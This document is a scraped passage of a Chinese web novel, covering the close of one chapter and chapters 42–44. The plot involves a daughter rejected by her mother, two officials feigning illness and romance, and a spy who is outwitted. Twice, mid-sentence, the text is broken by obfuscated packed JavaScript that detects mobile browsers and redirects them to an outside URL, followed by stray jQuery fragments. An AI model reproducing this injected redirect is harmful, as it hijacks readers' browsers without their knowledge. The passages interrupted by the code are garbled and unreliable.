棍棒落在皮肉上的声音,在寂静的庭院里格外刺耳。 衣衫很快被血浸透,变成暗褐色的硬块,每一次击打,都让她疼得浑身痉挛,喉咙里溢出压抑的呜咽。 就在她快要支撑不住时,张采茵穿着粉色衣裙跌跌撞撞地跑了进来,她接到温瑞的信,便立刻赶了过来:“慢着!慢着!别打了!别打了!” 她“噗通”一声跪在地上,伸手扶住李羽飞,声音里满是焦急:“大小姐苦行多日才得归家,身子本来就病弱,又淋了雨,哪里受得住这般责罚呀!” 王璟妍端坐在轮椅上,目光冷冷地扫过她和李羽飞,嘴角勾起一抹嘲讽的笑意:“你们两个,倒是有几分母女情深的模样。” 张采茵闻言,浑身一颤,连忙收回手,伏在地上,声音低微:“妾身不敢。” 王璟妍将目光重新投向李羽飞,语气冰冷:“大小姐,你若是贪图这京城的荣华富贵,今日便好好看一看,这深宅大院的日子,你是否担得起。” 李羽飞抬起头,望着上方的母亲,眼中满是倔强:“羽飞并非贪图荣华富贵之人。” “你不该回来。” 王璟妍的声音轻飘飘的,却像一把尖刀,狠狠刺进李羽飞的心脏。 “母亲!” 李羽飞不敢置信地看着她,眼中的泪水瞬间决堤。 “李家没有这样的女儿,” 王璟妍闭上眼睛,声音里带着一种近乎残忍的决绝,“打也打了,罚也罚了,把她赶出去,此生都不得再踏入李家一步。” “愣着干什么!还不快拖出去!”嬷嬷厉声喝道。 家丁得了令,立刻上前拖拽李羽飞。 她的手指死死抠住地面,指甲缝里渗进了泥土和血污,口中不断地哭喊着:“母亲!母亲!” “母……我……母亲!母亲!” 就在她即将被拖出院门时,李想打着伞匆匆赶到。 他一把推开家丁,将李羽飞扶起来,大步走到王璟妍面前,语气带着几分恳求:“羽飞是我们的亲生女儿,流落多年,我年年都想接她回来,可是你年年百般阻挠。 如今终于回来了,哪有再赶出去的道理啊!” 李羽飞靠在他怀里,看着他脸上那副恰到好处的心疼模样,忽然觉得无比讽刺。 她一言不发,只是冷冷地看着,看着这个男人如何扮演一个慈父的角色。 像在看一场与自己无关的闹剧。 李想似乎并未察觉她的异样,继续对着王璟妍说道:“我也算是一家之主,看在我的面子上,莫要再为难她了,可好?” 王璟妍的眼角慢慢沁出泪水,那泪水在她苍白的脸上划过,留下两道清晰的痕迹。 她看着李羽飞,声音轻得像叹息:“老爷忘了,她并非李家的女儿,而是孤鬼托生。” 李想的身子猛地一僵,一时语塞,半晌才讪讪地说:“这都是,多少年陈芝麻烂谷子的事了,当不得真,莫要再提了。” “你父亲说的没错。” 王璟妍的目光落在李羽飞身上,带着一种复杂的恨意,“这么多年来,你在杭州落魄凄惨,全都是因为我。你现在是不是恨毒了我?” 李羽飞哭着转向她,泪水模糊了视线:“女儿不敢。 女儿虽远在杭州,却从小听说,我的母亲是京城贵女,虽生在将门之家,却也是温良贤淑,品行出众,容貌才学都是一等一的好。 女儿只盼有一日能与母亲团聚,得母亲庇护。” 王璟妍突然捂嘴笑了起来,那笑声凄厉而绝望,在寂静的庭院里回荡,听得人头皮发麻。 “好一个京城贵女!” 她猛地放下手,眼底的泪水汹涌而出,“我们王家纵有免死金牌在手,最后还不是落得满门抄斩,家破人亡的下场!你求我庇护?却不知我连自己都庇护不得! 若不是因为生了你这个孤鬼,我如何能够残废?你将我害到如此境地,还有脸来求我庇护!” “璟妍,莫要说这些狠话,”李想皱着眉,试图劝她,“让孩子伤心。” “闭嘴!” 王璟妍猛地抬起头,朝着他歇斯底里地怒吼,那声音里积攒了多年的怨恨和痛苦,在这一刻彻底爆发,“你们李家一个个面慈心善,全都是吃人的恶鬼、地狱的无常!” 李羽飞被她的怒吼震得浑身一颤,怔怔地看着眼前的女人。 李羽飞内心:从小到大,我听过无数关于母亲的传言。 我的母亲王璟妍才貌无双,虽生在将门,却温文尔雅,是当之无愧的京城第一贵女。 但今夜我见到的,却与那些传言中的形象判若两人。 她坐在轮椅上,身形单薄,眼神里满是化不开的怨怼与痛苦,像一朵被风雨摧残殆尽的花,只剩下无尽的凄凉与绝望。 她不再是那个高高在上的京城贵女,只是一个被深宅大院困住,被过往伤痛折磨的深闺怨妇。 她的声音不再温柔,她的眼神不再慈爱,只剩下刻骨的恨意和无尽的绝望。 那些曾经美好的传言,在这一刻,碎得连一点影子都不剩。 42. 真是俩活宝 雨幕还未散尽,湿冷的风卷着雨丝,黏在人皮肤上凉得刺骨。 谢伟恒一袭月白长衫,步履从容地走在前头,身后跟着的“谢小厮”低眉顺眼。 灰布短打的身影比他矮了小半头,背脊刻意佝着,连脖颈都缩着,活脱脱一副常年做活计的恭顺模样。 一路穿廊过院,避过洒扫的仆役,直至进了谢伟恒的清晖院,朱门“吱呀”一声合拢,隔绝了外间所有窥探的目光。 “谢小厮”才直起腰,长长舒了口气,抬手抹了把脸。 指尖擦过脸颊,带着一层细腻的易容膏,待他将脸上的东西尽数洗去。 铜镜里赫然映出燕修延那张棱角分明的脸。 剑眉星目,唇边还噙着惯有的痞气笑意,哪还有半分谢小厮的影子。 他正对着镜子整理鬓角,窗外忽然传来极轻的叩窗声。 “叩叩。” “进。” 谢伟恒的声音淡淡响起。 话音未落,一道黑影便如狸猫般翻窗而入,落地时轻得像一片羽毛。 来人一身劲装,眉眼利落,正是温泽。 他先朝谢伟恒拱手,声音压得极低:“谢大人。” 随即转过身,对着燕修延咧嘴一笑,语气里带着几分促狭,“头儿,你们离开后,府里来了只‘耗子’,想混进来探消息。 温瑞那小子送完信后,直接扮成丫鬟模样,把人拖去柴房劈柴了。” 柴房里,动静正闹得沸反盈天。 那探子本是擅长轻功的暗卫,拳脚功夫稀松平常。 平日里只负责暗中探听消息,别说劈柴,连拎桶水都嫌费劲。 偏生谢府的丫鬟们个个生得高挑健壮,膀大腰圆,力气更是惊人。 此刻,一个穿着青布丫鬟裙、眉眼却带着几分桀骜的“丫鬟”正叉着腰,对着探子厉声呵斥:“看什么看!劈个柴都磨磨唧唧的,白长这么大个儿了!” 探子累得满头大汗,握着斧头的手直打颤,闻言忍不住回怼:“不敌姑娘是个个头大。” “嘿,你还敢顶嘴!” 温瑞狞笑一声,手里攥着的荆条“啪”地一声抽在探子身上。 探子吃痛,举起斧头虚张声势:“你再抽试试——!” “嗷嗷嗷!” 话还没说完,荆条就又落了下来,一下比一下狠。 温瑞凶神恶煞地瞪着他,手里的荆条甩得虎虎生风:“你这么主动让我抽,我当然不能枉顾你的好意了!” 探子被抽得龇牙咧嘴,心里的火气直往上冒。 暴露身份就暴露身份吧,反正这谢府看着守卫不算森严,他只要能跑出去,凭他的轻功,谁也追不上。 他悄悄攒足了力气,脚下微微用力,正准备腾空而起——这是他最擅长的轻功起势,以往只要这么一动,眨眼就能窜出数丈远。 可这次,他刚一抬脚,温瑞就眼疾手快地扬起荆条,对着他膝盖后方的腘窝狠狠抽了两下。 “嘶——!” 剧烈的疼痛从腿弯处传来,探子的身子一软,直接失去了平衡。 他踉跄着往前扑了两步,最终还是“噗通”一声,单膝跪在了地上。 温瑞得意地挑了下眉梢,手里的荆条在指尖转了个圈,那抹笑意里满是戏谑。小样,你眼睛珠子一转,小爷就知道你在打什么鬼主意。 探子疼得额头上的冷汗直冒,他扶着膝盖,艰难地想要站起来。 房顶上,燕修延撑着一把油纸伞,优哉游哉地蹲在瓦檐上,抱着胳膊看热闹。 雨丝打在伞面上,溅起细碎的水花,他看着柴房里温瑞把那探子收拾得服服帖帖,憋了一路的郁气散了大半,心情好得直想笑。 温瑞还没罢休,他一脚踹在探子后背上,直接把人踹了个五体投地,额头重重磕在地上,扬起一片灰尘。 紧接着,他捏着嗓子,学着丫鬟的尖声细语,叉着腰道:“看你还说不说我个头大!哼!” 说着,还用穿着皂靴的大脚,在探子背上狠狠跺了几下。 燕修延忍不住拿手在鼻子前扇了扇,嘴角的笑意更深了——这动静,夸张点说,怕是连地上的灰都被跺得飞起来了。 折腾够了,温瑞才拽着探子的脚踝,像拖死狗似的把人丢进柴房最里面,反手将门锁死,又寻了几根木条,把窗户也钉了个严严实实。 他倚在门外,恶狠狠地威胁:“我这就去和管家说,让他把你的卖身契给我!说我个头大是吧?我让你做上门女婿!以后生了孩子,全都跟我姓!” 燕修延揪着谢伟恒的胳膊,肩膀抖得厉害,才强忍着没笑出声来。 温泽和温瑞这两个活宝,总能在不经意间闹出些让人忍俊不禁的事。 谢伟恒感受到胳膊上的力道,偏头看了他一眼,随即凑近他耳边,声音低得只有两人能听见:“有劳燕大人带我下去了。” 燕修延瞬间会意。 在外人面前,谢伟恒是需要人搀扶的文弱书生。 他坏心眼地把油纸伞塞到谢伟恒手里,随即俯身,一个利落的公主抱,将谢伟恒稳稳抱在怀里。 脚下轻轻一点,身形便如惊鸿般飘然而下,动作行云流水,惹得柴房门口的温瑞看直了眼,满眼都是崇拜。 那探子好不容易从地上爬起来,吐掉嘴里的灰,跌跌撞撞扑到门边,用力拍着门板大喊。 可外面早已空无一人,只有风吹过门缝的呜咽声,回应他的只有死寂。 避过所有仆役,几人重新回到院子里。 温瑞大大咧咧地撩起丫鬟裙的裙摆,一屁股坐在凳子上,两条长腿岔开,哪里还有半分丫鬟的样子。 温泽看得直皱眉,忍不住道:“你赶紧把衣服换回来。” 温瑞却摇摇手指,一脸狡黠:“急什么,我还得假装不小心,把那探子放走呢。” 燕修延抬脚踢了踢他的腿,眉峰微挑:“坐没坐相。” 温瑞不乐意了,张嘴就想反驳:“头儿,你以前穿女——啊!” 话刚出口,燕修延一脚便踹了过来,力道不大,却精准地将他踹得贴在墙上,半晌才缓缓滑下来。 燕修延背对着谢伟恒,冲着温瑞狠狠使了个眼色,那眼神里的威胁明明白白:你敢提我女装的事情试试? 温瑞瞬间怂了,恶从胆边生也没用,试试?那是万万不可能的。 闹够了,燕修延收敛了笑意,神色变得严肃起来,转头对温泽吩咐:“你和柳岚带上几名兄弟,去一趟西域。中途多绕几个地方,每到一处,就去寻当地有名的大夫。” 温泽一愣,随即反应过来:“让柳岚随便演?” “嗯。” 燕修延点头,语气带着几分深意,“随她折腾。” “得嘞!”温泽领命,干脆利落地应下。 一旁的温瑞见温泽得了差事,连忙凑上来,指着自己的鼻子:“我呢我呢?头儿,我的差事是什么?” 燕修延冲他神秘兮兮地勾了勾手指。 温瑞眼睛一亮,连忙凑上前,以为是什么重要的机密任务。 谁知燕修延盯着他,一字一顿,语气格外认真:“你等着当新郎,入赘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646200|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三年抱俩,孩子都跟你姓。” “啊?”温泽在一旁听得目瞪口呆。 燕修延却懒得再逗他,挥挥手像赶苍蝇似的:“别贫了,盯紧李府,但凡有一点风吹草动,立刻来报。” 温泽当即提溜着还想追问的温瑞,两人翻出院墙,迅速消失在雨幕中。 燕修延伸了个懒腰,活动了一下脖子,脸上露出几分疲惫。 扮成谢小厮的这一会,为了贴合身形,他一直佝偻着背,这会儿只觉得浑身的骨头都在叫嚣着酸痛。 谢伟恒看着他,忽然开口:“喝酒么?” 燕修延摆摆手,看了看天色:“快晚饭了,喝什么酒。” 他说着,还故作正经地拍了拍肚子,“我决心要做个勤奋的人,先去看会儿书。” “是西域的葡萄酒。”谢伟恒轻飘飘地补充了一句。 燕修延的脚步瞬间顿住。 中午在船上虽吐了几次,但腹中尚有余食,这般时候喝葡萄酒,醇而不烈,正是恰到好处。 他立刻转身,脸上的正经荡然无存,眼底满是期待。 谢伟恒早已备好了酒具。青色的酒杯摆在桌上,酒液缓缓倒入,瞬间散发出浓郁的果香,在空气中弥漫开来。 燕修延端起酒杯一饮而尽,咂了咂嘴,赞道:“还挺好喝的。” 他说着,正准备自己倒第二杯,谢伟恒却已经提起酒壶,替他斟得满满当当。 燕修延端着酒杯,吊着眼梢看他,眼尾微微上扬,带着几分戏谑:“老实交代,是不是想灌醉我?” 谢伟恒闻言,稍显遗憾地勾了勾嘴角,眼底漾着浅浅的笑意:“是啊。可惜,这点酒,不足以灌醉燕正使。” “嗯哼,你知道就好。” 燕修延得意地扬了扬下巴,酒杯递到嘴边,却忽然想起什么,抬眼看向谢伟恒,语气认真地告诫,“你别听风就是雨,我不想闹出太大动静,明白?” 谢伟恒不禁莞尔,喉间溢出一声低笑,声音温柔:“嗯,多谢燕大人手下留情,让我免去睡客房的烦恼。” 一壶酒很快见了底。燕修延看向窗外的雨幕,估摸着时间,道:“温瑞应该已经把那探子放走了吧?” 却不知,柴房那边,温瑞压根没打算按计划“不小心”放走探子—— 他把钥匙给弄丢了。 温瑞站在柴房门口,急得抓耳挠腮,目光扫过一旁的斧头,眼睛瞬间亮了。 他拿起斧头,胳膊一抡,只听“哐当”一声,那把锁直接被砍落在地。 他把斧头丢到探子面前,恶声恶气道:“你把这里的柴全都劈了,劈完了再走。” 说完,扭头便走,压根没提放走的事。 探子看着满地的木柴,欲哭无泪。 可他刚走出柴房,就听见不远处传来两个陌生的声音。 “我怎么听说你被管家训斥了?” 温瑞的声音透着几分委屈:“我不小心把谢伯亲自盯着煎好的药给打翻了。” 温泽粗声粗气的声音装模作样地惊呼:“你也太不小心了!也就是谢伯心善,这要是搁在别人家,你早就被发卖啦!” 亲自盯着煎药? 探子心里一动,瞬间明白了谢伯的身份——那是谢府的管家,定是知晓不少机密。 他四下张望,见周围无人,便偷偷摸摸地溜出谢府,一路赶回去复命。 他却不知道,自己的一举一动,早已被暗处的人看在眼里。 温瑞看着他仓皇离去的背影,嘴角勾起一抹得逞的笑。 鱼儿,上钩了。 43. 绝对不能! 酒液在酒杯中漾开浅金的涟漪,暖香漫过鼻息时,燕修延只觉四肢百骸都浸在软绵的醺意里。 燕修延心头那点琐碎而起的烦闷,早被这醇美酒意冲得烟消云散。 他手肘支在梨花木桌上,手掌懒懒托着腮,侧过头去看对面的谢伟恒,眼尾微微上挑,带着几分酒后的恣意:“谢大人家的好东西,倒是比监察司的库房还藏得深。” 殷红的酒渍濡湿了唇瓣,每一次开合都似染了蜜色的朱砂,在昏黄的灯影里晃得人眼热。 谢伟恒执杯的手顿了顿,垂眸望着杯中晃动的酒液,长睫在眼下投出一片浅影,竟没有应声。 燕修延来了兴致,索性放下胳膊,将脑袋枕在臂弯里,换了个从下往上看的角度。 这样正好能撞进谢伟恒那双深不见底的眸子里,他轻笑一声,带着几分戏谑:“谢大人怎么不说话?莫不是醉了?” 话音刚落,那双眼眸便抬了起来。 幽深的墨色里似藏着万千星河,猝不及防撞进去的瞬间,燕修延只觉心头一跳,方才的醺意竟散了大半。 他下意识地往旁边挪了挪,指尖悄悄攥紧了衣袖。 “燕大人在害怕什么?” 低沉的嗓音在耳畔响起,带着酒意的温热。 燕修延抬头,便见谢伟恒已然起身,走到他身侧,单膝缓缓跪下。 这是全然臣服的姿态,却偏生带着一股不容抗拒的张力。 他仰头望着燕修延,目光缱绻,似要将人溺毙其中。 “害怕?” 燕修延挑眉,借着酒劲挺直了脊背,食指抬起,轻轻勾住谢伟恒的下巴,迫使他抬头与自己对视, “我燕修延长这么大,就不知道‘害怕’两个字怎么写。” 话音未落,放在腿上的手便被人紧紧握住。 谢伟恒的指尖带着微凉的温度,却又透着几分灼热,轻轻揉捏着他的指节,身体微微前倾,鼻尖几乎要碰到他的:“那燕大人的身体,为何这般僵硬?” 燕修延的视线瞬间游移,不敢再看那双灼人的眸子,他撇了撇嘴,试图掩饰心头的慌乱:“废话,你捏着我的手呢,赶紧撒开。” 谢伟恒却笑了,那笑意从唇角漾开,漫进眼底,如同春日暖阳下被风吹皱的一汪清泉,波光粼粼,暖得人心头发烫。 他的声音低沉而柔和,似暖风拂过耳畔,却又带着雷霆万钧的力道,直直撞进燕修延的心底:“燕大人待我,真就如此毫无情意?” 燕修延下意识地想反驳:废话,自然没有。 可对上那双浸满了委屈与期待的眸子,话到了嘴边,却怎么也张不开口。 他不愿落了下风,只能梗着脖子,硬邦邦地回了句:“你管我么?废话这么多,说话也就罢了,还动手动脚的!” 谢伟恒的眼眸暗了暗,垂下手,低眉顺眼地站在一旁,竟真的不再说话。 燕修延眨了眨眼,心里莫名有些发慌。 他这话,应该不算重吧? 正想着,谢伟恒忽然又靠近了。 燕修延下意识地往后仰,背脊几乎要贴上身后的屏风。 可下一秒,手腕便被人扣住,紧接着,后颈也传来一股温柔却强势的力道,阻止了他的退避。 温热的鼻息扫过脸颊,带着淡淡的酒香与墨香。 还未等燕修延反应过来,一片柔软便轻轻覆上了他的脸颊,一触即离,却似烈火燎原,瞬间点燃了他浑身的血液。 “谢伟恒你——!” 燕修延猛地瞪大了眼睛,胸口剧烈起伏着。 谢伟恒却低笑出声,眼底的笑意几乎要溢出来:“那我以后,少说话。” 什么意思……? 燕修延一怔,才反应过来他指的是自己方才的抱怨。 一股热气瞬间冲上头顶,他攥紧了拳头,指节捏得“咯吱”作响:“我不是让你在话多和动手动脚之间选一个!” 悔意如同潮水般涌来。 刚才就该把话说死! 就该让这个喜欢装可怜的家伙躲到角落里去偷偷抹眼泪。 燕修延在心里暗暗发誓,下次再看到谢伟恒那副委屈的模样,绝对不能心软。 绝对不能! “我只是……情难自禁,想与燕大人亲近一些。” 谢伟恒垂着眼,眼尾微微泛红,声音里带着几分鼻音,竟真的有了几分泫然欲泣的模样。 又来又来,又来装可怜了。 燕修延翻了个白眼,面无表情地看着他:“继续演。” 可下一秒,他就愣住了。 谢伟恒的眼眶,竟真的红了。 一个大男人,说眼红就眼红,这算什么事?! 谢伟恒苦笑一声,声音里满是无奈:“燕大人这般不信任我,真是没良心。” “我没良心?” 燕修延扶额,一时竟不知如何反驳,“你怎么不说我负心薄幸?” “燕大人不曾对我倾注过半分情意,一切都是我一厢情愿,自然谈不上‘负心’二字。” 谢伟恒的声音轻轻的,却像一把小锤子,一下下敲在燕修延的心上。 燕修延张了张嘴,竟无言以对。 好像……确实是这个道理。 可听在耳朵里,怎么就觉得自己像个铁石心肠的恶人? 眼见谢伟恒的眼眶越来越红,那副泫然欲泣的模样,让燕修延瞬间慌了手脚。 他手忙脚乱地爬起来,伸手去擦谢伟恒的眼睛,嘴里还念叨着:“男儿有泪不轻弹,你这动不动就情啊爱啊的,还哭鼻子,半点男子汉气概都没有。” ……蹭红了。 他的动作太急,非但没把眼泪擦掉,反而把谢伟恒本就白皙的脸颊蹭得通红。 燕修延看着那片泛红的肌肤,心里竟莫名有些发虚。 明明没使劲,许是谢伟恒太白了,皮也太嫩了。 还没等他反应过来,腰上便多了一股力道。 谢伟恒顺势揽住他的腰,将头埋进了他的颈侧,温热的呼吸洒在肌肤上, 带着浓重的鼻音:“让我抱一会,就一会,好不好?” 燕修延僵在原地,张开的手臂悬在半空,不知道该往哪儿放。 手指攥紧又松开,犹豫了半晌,终究还是轻轻落在了谢伟恒的肩头,一下下拍着,像哄孩子似的:“好了好了,不难受了啊。男子汉大丈夫,要坚强。” 颈侧的人深吸了一口气,谢伟恒似乎能感觉到他唇角勾起的弧度,却在自己准备开口时,被轻轻推开。 “多谢。” 谢伟恒的声音已经恢复了平静,除了眼底那点未褪尽的红色。 又成了那个冷静自持的谢侍郎。 燕修延松了口气,忍不住调侃:“还好,你比府里的小姑娘好哄多了。” 谢伟恒抬眼,眸中闪过一丝不易察觉的暗芒,声音轻得像羽毛:“燕大人哄过姑娘?” “哪能啊。” 燕修延摆摆手,想起监察司里温瑞哄媳妇的模样,忍不住笑了,“下次带你去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646201|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温瑞哄他媳妇儿,那才叫精彩。” 监察司的人就爱看这个热闹。 他想了想,又补充道:“其实陛下哄沈黎卿,也很有意思。有机会,让你见识见识。” 谢伟恒微微颔首,眼底的暗芒渐渐褪去,只余一片温和:“好。” 假期的日子过得飞快,转眼便所剩无几。 谢伟恒问燕修延,是否想去近处游玩一番。 燕修延连连摇头,往软榻上一躺,懒洋洋地说:“出去玩多累啊,不如留在家里看书。你那书房里的宝贝,还等着我去‘宠幸’呢。” 提到书房,两人都不约而同地想起了那本册子。 燕修延的耳根悄悄泛红,摸了摸鼻子,故作镇定地说:“书房就不去了,你帮我把《武经七书》取来便好。” 几日下来,在谢府吃好喝好,待到上朝这日,燕修延的气色竟比成亲前好了不止一星半点。 他懒洋洋地靠在马车车厢上,捏了捏自己的脸颊,嘟囔道:“我这模样,哪里像装病的?只怕旁人见了,都要疑心我是故意养得这般好。” 谢伟恒坐在他身侧,闻言抬手,指尖轻轻点了点他的嘴唇,声音低沉:“颜色浅了些。” “你见过哪个受了内伤的人,面色红润,唇若点朱的?” 燕修延微微后仰,拍掉他的手,佯怒道,“别随便动手动脚的,当心我把你的手剁了。” 自那日之后,他对谢伟恒这般程度的亲近,竟也渐渐习惯了。 反正也不会掉块肉,总好过谢侍郎动不动就装可怜,还要费心思去哄。 啧,真是麻烦。 谢伟恒收回手,燕修延却瞥见他的手背竟泛起了红痕。 他忍不住皱眉,伸手去碰:“你看看你,皮怎么就这么嫩?我就这么轻轻一拍,就红了。” 谢伟恒这才用右手覆在左手手背上,淡笑道:“无妨。你气色越好,那些盯着你的人,心中反而会越发存疑。” 燕修延掀了掀眼皮,了然道:“疑心生暗鬼是吧,可现在胭脂铺子都没开门,难不成还能凭空变出唇脂来?” 谢伟恒却从袖中取出一个小巧精致的锦盒,递到他面前:“昨日,我让谢伯去买的。” 燕修延伸手去接,挑眉笑道:“谢大人年岁不大,心眼子倒是不少。” 谢伟恒却没有给他,而是亲自打开了锦盒。 一股淡淡的兰芷香气瞬间溢散在车厢里,他指尖沾了一点口脂,抬眼看向燕修延,目光温柔:“这里没有镜子,我来替你涂。” 燕修延微眯着眼,盯着他手中的锦盒,嘴角抽了抽:“你故意的吧。” “燕大人真是心思聪慧,不点就通。” 谢伟恒的指尖带着微凉的触感,轻轻覆上他的唇瓣。 动作轻柔而细致,神情专注得仿佛在描绘世间最珍贵的宝物。 车厢里的空气渐渐变得燥热,两人挨得极近,燕修延甚至能清晰地看到谢伟恒长睫上的纤毛。 他的眼睫不由自主地颤了颤,无论视线往哪儿看,满眼都是谢伟恒的身影。 心头似有丝丝痒意,像破土而出的藤蔓,悄无声息地蔓延开来。 他两眼放空,任由那柔软的指尖在唇上辗转,涂满艳丽的色彩。 忽然,拇指微微用力,按压在他的下唇上。 燕修延下意识地张开嘴,露出了洁白的贝齿。 这副毫无防备的模样,落在谢伟恒眼中,竟成了最动人的风景。他的眼底瞬间暗了下来,呼吸也变得灼热。 44. 试图甩锅的燕修延 燕修延睫羽颤了颤,像是被惊飞的蝶,半晌才回过神来,耳尖漫上一层薄红,语气却没什么底气:“喂,你这什么眼神……” 话音未落,一片温软便轻轻落了下来,贴在他的唇上。 那触感太轻,像羽毛拂过心尖,又带着点微凉的暖意,叫燕修延整个人都僵住了,连呼吸都漏了半拍。 什么叫给根杆子就往上爬? 谢伟恒这种行径,简直就是顺杆爬的祖宗。 唇上的热度不过一触即离,快得像一场错觉。 燕修延怔怔地看着谢伟恒,见那人唇瓣上沾了点自己口脂的胭红,衬着白皙的肤色,竟显出几分平日里少见的艳色。 谢伟恒指尖捻着一方素帕,慢条斯理地擦着唇上的颜色,声音淡得像风拂过湖面:“这样,颜色便抹匀了。” 燕修延这才猛地回神,攥紧了拳头,指节都泛了白,脸上却扯出个皮笑肉不笑的弧度,磨牙道:“我给你点颜色,让你开个染坊,怎么样?” 谢伟恒擦净了唇色,将帕子收回袖中,顺手掀开车帘,外面的天光透进来,落在他眉眼间,竟有几分笑意:“谢家本就有染坊,不必另外再开。” 马车早已停稳,车外是宫门前的石板路,隐隐能听见朝臣们的说话声。 谢伟恒率先下了车,宽袍广袖掠过车辕,落地时身姿挺拔。 他转过身,微微俯身,朝着车内伸出手,掌心向上,指骨分明。 燕修延白了他一眼,那眼神里满是“算你识相”的别扭,却还是不情不愿地将手搭了上去。 指尖刚触到谢伟恒的掌心,便被那人稳稳握住,带着微凉的力道,稍一借力,他便轻快地跳下车来。 双脚刚沾地,燕修延便凑近谢伟恒,温热的气息拂过对方的耳廓,声音压得极低,带着几分咬牙切齿的笃定:“你故意挑那个时候亲的。” 谢伟恒侧过头,鼻尖几乎要碰到他的鬓角,唇角勾起一抹浅淡的笑意,眼底盛着细碎的光,半点没打算否认:“燕大人才是七窍玲珑心,不点就通。” 燕修延往他肩膀上不轻不重地搡了一下,从喉咙里挤出一声轻嗤:“呸!” 宫门外的大臣们早已候着,此刻见了这一幕,纷纷僵在原地,脸上的表情活像是见了鬼。 若说是燕修延扶着谢伟恒下车,他们还能勉强接受—— 毕竟燕修延素来张扬,谢伟恒温雅端方,倒也合情理。 可眼下,分明是谢大人稳稳托着燕大人的手,那姿态,竟还带着几分小心翼翼的纵容。 礼部尚书按捺不住心头的好奇,几步走上前来,目光在两人之间转了个来回,笑得意味深长:“谢大人、燕大人,这几日过的如何?” 周围三三两两站着的大臣们,顿时都默契地停了话头,一个个看似还在闲聊,耳朵却竖得比兔子还直。 连自己方才说了些什么颠三倒四的话,都全然没察觉。 燕修延双手手腕并在一起,掌心向上,懒洋洋地托着自己的脸,指尖还轻轻挠了挠腮帮子,扯出个似笑非笑的弧度,眼神里带着点狡黠:“宁尚书,你自己看呢?” 宁尚书连忙凑上前,眯着眼睛上上下下打量了他一番,摸着胡子连连点头:“胖了,胖了些,瞧着水色也好得很,看样子成亲以后,确实滋润了不少啊。” 这话一出,周围顿时响起几声憋不住的低笑。 燕修延脸上的笑容倏地一敛,放下手,慢条斯理地活动着手腕,骨节发出几声轻微的“咔咔”声,语气凉飕飕的:“宁大人这么想知道?我可以用拳头,帮宁大人也‘滋润、滋润’么?” 礼部尚书仰头大笑,半点没把他的威胁放在心上:“燕大人这是羞恼了?成亲乃是稀松平常之事,犯不着这般不好意思嘛!” 燕修延磨了磨牙,笑容里透着几分阴恻恻的味道,往前逼近半步:“那我来帮宁尚书修整修整脑子,让你知道什么叫祸从口出,如何?” “燕大人。” 谢伟恒适时伸手,轻轻揽住燕修延的手腕,力道不重,却恰好将他拦住。 他转向礼部尚书,微微颔首,语气温和却带着不容置喙的分寸:“宁大人见谅,燕大人这几日心情不太好,还望海涵。” 周围的大臣们暗自腹诽:就燕修延这暴脾气,嫁给谢伟恒,没把谢府的房顶掀了、没把宅子烧了,那都算谢家祖坟冒青烟了,心情能好才怪。 中书令和李想站在不远处,目光也在两人身上流连。 一眼看去,燕修延确实如礼部尚书所言,唇红齿白,气色好得不像话,半点不见往日的凌厉焦躁,反倒透着几分难得的柔和。 可中书令心里却犯了嘀咕。 燕修延的身手何等利落,寻常上下马车哪里用得着人扶? 况且前几日,探子分明回报,谢府的老管家日日盯着下人煎药,半点不敢松懈。 中书令又想起昨日收到的消息,谢府管家还特意去买了一盒上等口脂。 这举动未免太过诡异。 难道……这口脂根本不是女子所用,而是燕修延用来掩盖病容的? 可看燕修延此刻的模样,步履稳健,神色飞扬,完全不像是受了内伤的样子。 偏偏他方才下马车时,又分明是被谢伟恒扶着的…… 中书令捻着胡须,眉头越皱越紧,脑子里千头万绪,乱成了一团麻。 燕修延眼角余光瞥见他这副愁眉苦脸的模样,忍不住拿肩膀撞了撞身旁的谢伟恒,声音压得极低,带着几分戏谑:“嘿,你看那老头,脑子怕是快想冒烟了。” 谢伟恒目视前方,脊背挺得笔直,目光落在缓缓开启的宫门处,声音清淡无波:“宫门开了。” “无趣。” 燕修延撇撇嘴,白了他一眼,腹诽这人一到人前就装得这般一本正经,方才在车上的那点旖旎,仿佛都成了自己的错觉。 早朝时分,金銮殿内庄严肃穆,朝臣们分列两侧,恭恭敬敬地听着奏报。 燕修延却照旧站在自己的位置上,脑袋一点一点的,眼皮耷拉着,一副昏昏欲睡的模样。 换做往日,这不过是燕修延的常态,没人会多在意。 可落在满心疑虑的中书令眼里,这情形却变得格外不一样—— 或许,燕修延真的是受了内伤,不过是强撑着罢了,否则怎会站这么一会儿,就困得快要睁不开眼? 可他受了内伤,和陛下突然下旨赐婚这两件事,实在是八竿子打不着,怎么想都觉得透着几分蹊跷。 中书令越想越乱,以至于早朝上虞睿祥说了些什么,他竟是一个字都没听进去,满脑子都是燕修延和谢伟恒的那些反常之处。 御座之上,虞睿祥将这一切尽收眼底,看着中书令低着头,看似在听身旁同僚说话,实则目光频频往后瞟,落在燕修延身上,不由得暗暗好笑。 散朝之后,朝臣们纷纷退去,虞睿祥却让贴身宫人快步追上燕修延和谢伟恒,传旨道:“燕大人、谢大人请留步,陛下召见,御书房议事。” 御书房内,檀香袅袅。 虞睿祥屏退了所有宫人,只留他们二人,气氛顿时轻松了不少。 他看着燕修延那副坐立不安的模样,忍不住调侃道:“燕卿,这几日在谢府,过得可还好啊?” 